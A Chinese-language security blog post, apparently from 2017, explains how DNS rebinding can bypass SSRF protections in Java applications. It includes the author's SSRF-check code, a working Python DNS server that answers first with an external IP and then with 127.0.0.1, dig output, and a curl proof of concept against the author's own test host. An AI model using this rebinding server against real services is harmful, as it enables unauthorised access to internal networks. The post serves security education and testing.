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ERROR: type should be string, got "https://joychou.org/web/use-dnsrebinding-to-bypass-ssrf-in-java.html\n### 0x00 前言\n本篇文章会比较详细的介绍，如何使用DNS\nRebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF，但是由于Java的机制和PHP等语言不太一样。所以，我觉得，有必要单独拿出来聊一聊，毕竟目前很多甲方公司业务代码都是Java。\n### 0x01 SSRF修复逻辑\n 1. 取URL的Host\n 2. 取Host的IP\n 3. 判断是否是内网IP，是内网IP直接return，不再往下执行\n 4. 请求URL\n 5. 如果有跳转，取出跳转URL，执行第1步\n 6. 正常的业务逻辑里，当判断完成最后会去请求URL，实现业务逻辑。\n所以，其中会发起DNS请求的步骤为，第2、4、6步，看来至少要请求3次。因为第6步至少会执行1次DNS请求。\n另外，网上有很多不严谨的SSRF修复逻辑不会判断跳转，导致可以被Bypass。\n### 0x02 DNS Rebinding\n我个人理解如下：\n> 通过自己搭建DNS服务器，返回自己定义的IP，进行一些限制的绕过。\n所以，我们可以利用DNS Rebinding在第一次发起DNS请求时，返回外网IP，后面全部返回内网IP 这种方式来绕过如上的修复逻辑。\n我们来看下是如何绕过的。\n首先，修复逻辑中第2步发起DNS请求，DNS服务器返回一个外网IP，通过验证，执行到第四步。 \n接着，修复逻辑中第4步会发起DNS请求，DNS服务器返回一个内网IP。此时，SSRF已经产生。\n#### TTL\n不过，这一切都是在TTL为0的前提下。\n什么是TTL？\n> TTL(Time To\n> Live)是DNS缓存的时间。简单理解，假如一个域名的TTL为10s，当我们在这10s内，对该域名进行多次DNS请求，DNS服务器，只会收到一次请求，其他的都是缓存。\n所以搭建的DNS服务器，需要设置TTL为0。如果不设置TTL为0，第二次DNS请求返回的是第一次缓存的外网IP，也就不能绕过了。\n#### DNS请求过程\n步骤如下：\n 1. 查询本地DNS服务器(`/etc/resolv.conf`)\n 2. 如果有缓存，返回缓存的结果，不继续往下执行\n 3. 如果没有缓存，请求远程DNS服务器，并返回结果\n#### DNS缓存机制\n平时使用的MAC和Windows电脑上，为了加快HTTP访问速度，系统都会进行DNS缓存。但是，在Linux上，默认不会进行DNS缓存(<https://stackoverflow.com/questions/11020027/dns-caching-in-linux>) ，除非运行nscd等软件。\n不过，知道Linux默认不进行DNS缓存即可。这也解释了，我为什么同样的配置，我在MAC上配置不成功，Linux上配置可以。\n需要注意的是，IP为8.8.8.8的DNS地址，本地不会进行DNS缓存。\n### 0x03 漏洞测试\n准备如下环境：\n * Java Web应用\n * DNS服务器\n我们要先了解下Java应用的TTL。Java应用的默认TTL为10s，这个默认配置会导致DNS\nRebinding绕过失败。也就是说，默认情况下，Java应用不受DNS Rebinding影响。\nJava TTL的值可以通过下面三种方式进行修改：\n 1. JVM添加启动参数`-Dsun.net.inetaddr.ttl=0`\n 2. 通过代码进行修改`java.security.Security.setProperty(&quot;networkaddress.cache.negative.ttl&quot; , &quot;0&quot;);`\n 3. 修改`/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)`里的`networkaddress.cache.negative.ttl=0`\n这个地方是个大坑，我之前在测试时，一直因为这个原因，导致测试不成功。\n这也是利用DNS\nRebinding过程中，Java和PHP不一样的地方。在测试PHP时，[这份PHP代码](https://github.com/chengable/safe_code/blob/master/ssrf_check.php)用DNS\nRebinding可以绕过，类似的代码Java就不能被绕过了。\n#### SSRF漏洞搭建\n用Java Spring写了一个漏洞测试地址为 \n<http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。>\nSSRF修复代码如下。也可以在Github上查看<https://github.com/JoyChou93/trident>\n /*\n         * check SSRF (判断逻辑为判断URL的IP是否是内网IP)\n         * 如果是内网IP，返回false，表示checkSSRF不通过。否则返回true。即合法返回true\n         * URL只支持HTTP协议\n         * 设置了访问超时时间为3s\n      */\n     public static Boolean checkSSRF(String url) {\n         HttpURLConnection connection;\n         String finalUrl = url;\n         try {\n             do {\n                 // 判断当前请求的URL是否是内网ip\n                 Boolean bRet = isInnerIpFromUrl(finalUrl);\n                 if (bRet) {\n                     return false;\n                 }\n                 connection = (HttpURLConnection) new URL(finalUrl).openConnection();\n                 connection.setInstanceFollowRedirects(false);\n                 connection.setUseCaches(false); // 设置为false，手动处理跳转，可以拿到每个跳转的URL\n                 connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s\n                 //connection.setRequestMethod(\"GET\");\n                 connection.connect(); // send dns request\n                 int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request\n                 if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {\n                     String redirectedUrl = connection.getHeaderField(\"Location\");\n                     if (null == redirectedUrl)\n                         break;\n                     finalUrl = redirectedUrl;\n                     // System.out.println(\"redirected url: \" + finalUrl);\n                 } else\n                     break;\n             } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);\n             connection.disconnect();\n         } catch (Exception e) {\n             return true;\n         }\n         return true;\n     }\n     /*\n         内网IP：\n         10.0.0.1 - 10.255.255.254       (10.0.0.0/8)\n         192.168.0.1 - 192.168.255.254   (192.168.0.0/16)\n         127.0.0.1 - 127.255.255.254     (127.0.0.0/8)\n         172.16.0.1 - 172.31.255.254     (172.16.0.0/12)\n     */\n     public static boolean isInnerIp(String strIP) throws IOException {\n         try{\n             String[] ipArr = strIP.split(\"\\\\.\");\n             if (ipArr.length != 4){\n                 return false;\n             }\n             int ip_split1 = Integer.parseInt(ipArr[1]);\n             return (ipArr[0].equals(\"10\") ||\n                     ipArr[0].equals(\"127\") ||\n                     (ipArr[0].equals(\"172\") && ip_split1 >= 16 && ip_split1 <=31) ||\n                     (ipArr[0].equals(\"192\") && ipArr[1].equals(\"168\")));\n         }catch (Exception e) {\n             return false;\n         }\n     }\n     /*\n         * 域名转换为IP\n         * 会将各种进制的ip转为正常ip\n         * 167772161转换为10.0.0.1\n         * 127.0.0.1.xip.io转换为127.0.0.1\n     */\n     public static String DomainToIP(String domain) throws IOException{\n         try {\n             InetAddress IpAddress = InetAddress.getByName(domain); //  send dns request\n             return IpAddress.getHostAddress();\n         }\n         catch (Exception e) {\n             return \"\";\n         }\n     }\n     /*\n         从URL中获取域名\n         限制为http/https协议\n     */\n     public static String getUrlDomain(String url) throws IOException{\n         try {\n             URL u = new URL(url);\n             if (!u.getProtocol().startsWith(\"http\") && !u.getProtocol().startsWith(\"https\")) {\n                 throw new IOException(\"Protocol error: \" + u.getProtocol());\n             }\n             return u.getHost();\n         } catch (Exception e) {\n             return \"\";\n         }\n     }\n#### 搭建DNS服务器\n域名配置如下：\n此时，当访问`dns_rebind.joychou.me`域名，先解析该域名的DNS域名为`ns.joychou.me`，`ns.joychou.me`指向47这台服务器。\nDNS Server代码如下，放在47服务器上。其功能是将第一次DNS请求返回`35.185.163.135`，后面所有请求返回`127.0.0.1`\ndns.py\n from twisted.internet import reactor, defer\n from twisted.names import client, dns, error, server\n record={}\n class DynamicResolver(object):\n     def _doDynamicResponse(self, query):\n         name = query.name.name\n         if name not in record or record[name]<1:\n             ip = \"35.185.163.135\"\n         else:\n             ip = \"127.0.0.1\"\n         if name not in record:\n             record[name] = 0\n         record[name] += 1\n         print name + \" ===> \" + ip\n         answer = dns.RRHeader(\n             name = name,\n             type = dns.A,\n             cls = dns.IN,\n             ttl = 0,\n             payload = dns.Record_A(address = b'%s' % ip, ttl=0)\n         )\n         answers = [answer]\n         authority = []\n         additional = []\n         return answers, authority, additional\n     def query(self, query, timeout=None):\n         return defer.succeed(self._doDynamicResponse(query))\n def main():\n     factory = server.DNSServerFactory(\n         clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]\n     )\n     protocol = dns.DNSDatagramProtocol(controller=factory)\n     reactor.listenUDP(53, protocol)\n     reactor.run()\n if __name__ == '__main__':\n     raise SystemExit(main())\n运行`python dns.py`，dig查看下返回。\n ➜  security dig @8.8.8.8 dns_rebind.joychou.me\n ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me\n ; (1 server found)\n ;; global options: +cmd\n ;; Got answer:\n ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376\n ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0\n ;; QUESTION SECTION:\n ;dns_rebind.joychou.me.     IN  A\n ;; ANSWER SECTION:\n dns_rebind.joychou.me.  0   IN  A   35.185.163.135\n ;; Query time: 203 msec\n ;; SERVER: 8.8.8.8#53(8.8.8.8)\n ;; WHEN: Fri Sep  8 14:52:43 2017\n ;; MSG SIZE  rcvd: 55\n ➜  security dig @8.8.8.8 dns_rebind.joychou.me\n ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me\n ; (1 server found)\n ;; global options: +cmd\n ;; Got answer:\n ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172\n ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0\n ;; QUESTION SECTION:\n ;dns_rebind.joychou.me.     IN  A\n ;; ANSWER SECTION:\n dns_rebind.joychou.me.  0   IN  A   127.0.0.1\n ;; Query time: 172 msec\n ;; SERVER: 8.8.8.8#53(8.8.8.8)\n ;; WHEN: Fri Sep  8 14:52:45 2017\n ;; MSG SIZE  rcvd: 55\n可以看到第一次返回35.185.163.135，第二次返回127.0.0.1。\ndig加上@8.8.8.8是指定本地DNS地址为8.8.8.8，因为该地址不会有缓存。每dig一次，DNS Server都会收到一次请求。\n#### 绕过POC\n curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'\n返回`test.joychou.org`页面内容`It works.` \n在测试时，我把该服务器的80端口已经限制为只有本地能访问，所以，我们的POC已经绕过内网的限制。\n### 0x04 总结\n * Java默认不存在被DNS Rebinding绕过风险（TTL默认为10）\n * PHP默认会被DNS Rebinding绕过\n * Linux默认不会进行DNS缓存\n### 0x05 参考\n 1. <[http://blog.csdn.net/u011721501/article/details/54667714&gt](http://blog.csdn.net/u011721501/article/details/54667714&gt);\n 2. <[https://stackoverflow.com/questions/11020027/dns-caching-in-linux&gt](https://stackoverflow.com/questions/11020027/dns-caching-in-linux&gt);\n 3. <[https://bobao.360.cn/learning/detail/3074.html&gt](https://bobao.360.cn/learning/detail/3074.html&gt);\n 4. <[https://github.com/chengable/safe_code/blob/master/ssrf_check.php&gt](https://github.com/chengable/safe_code/blob/master/ssrf_check.php&gt);\n 5. <[https://stackoverflow.com/questions/1256556/any-way-to-make-java-honor-the-dns-caching-timeout-ttl&gt](https://stackoverflow.com/questions/1256556/any-way-to-make-java-honor-the-dns-caching-timeout-ttl&gt);"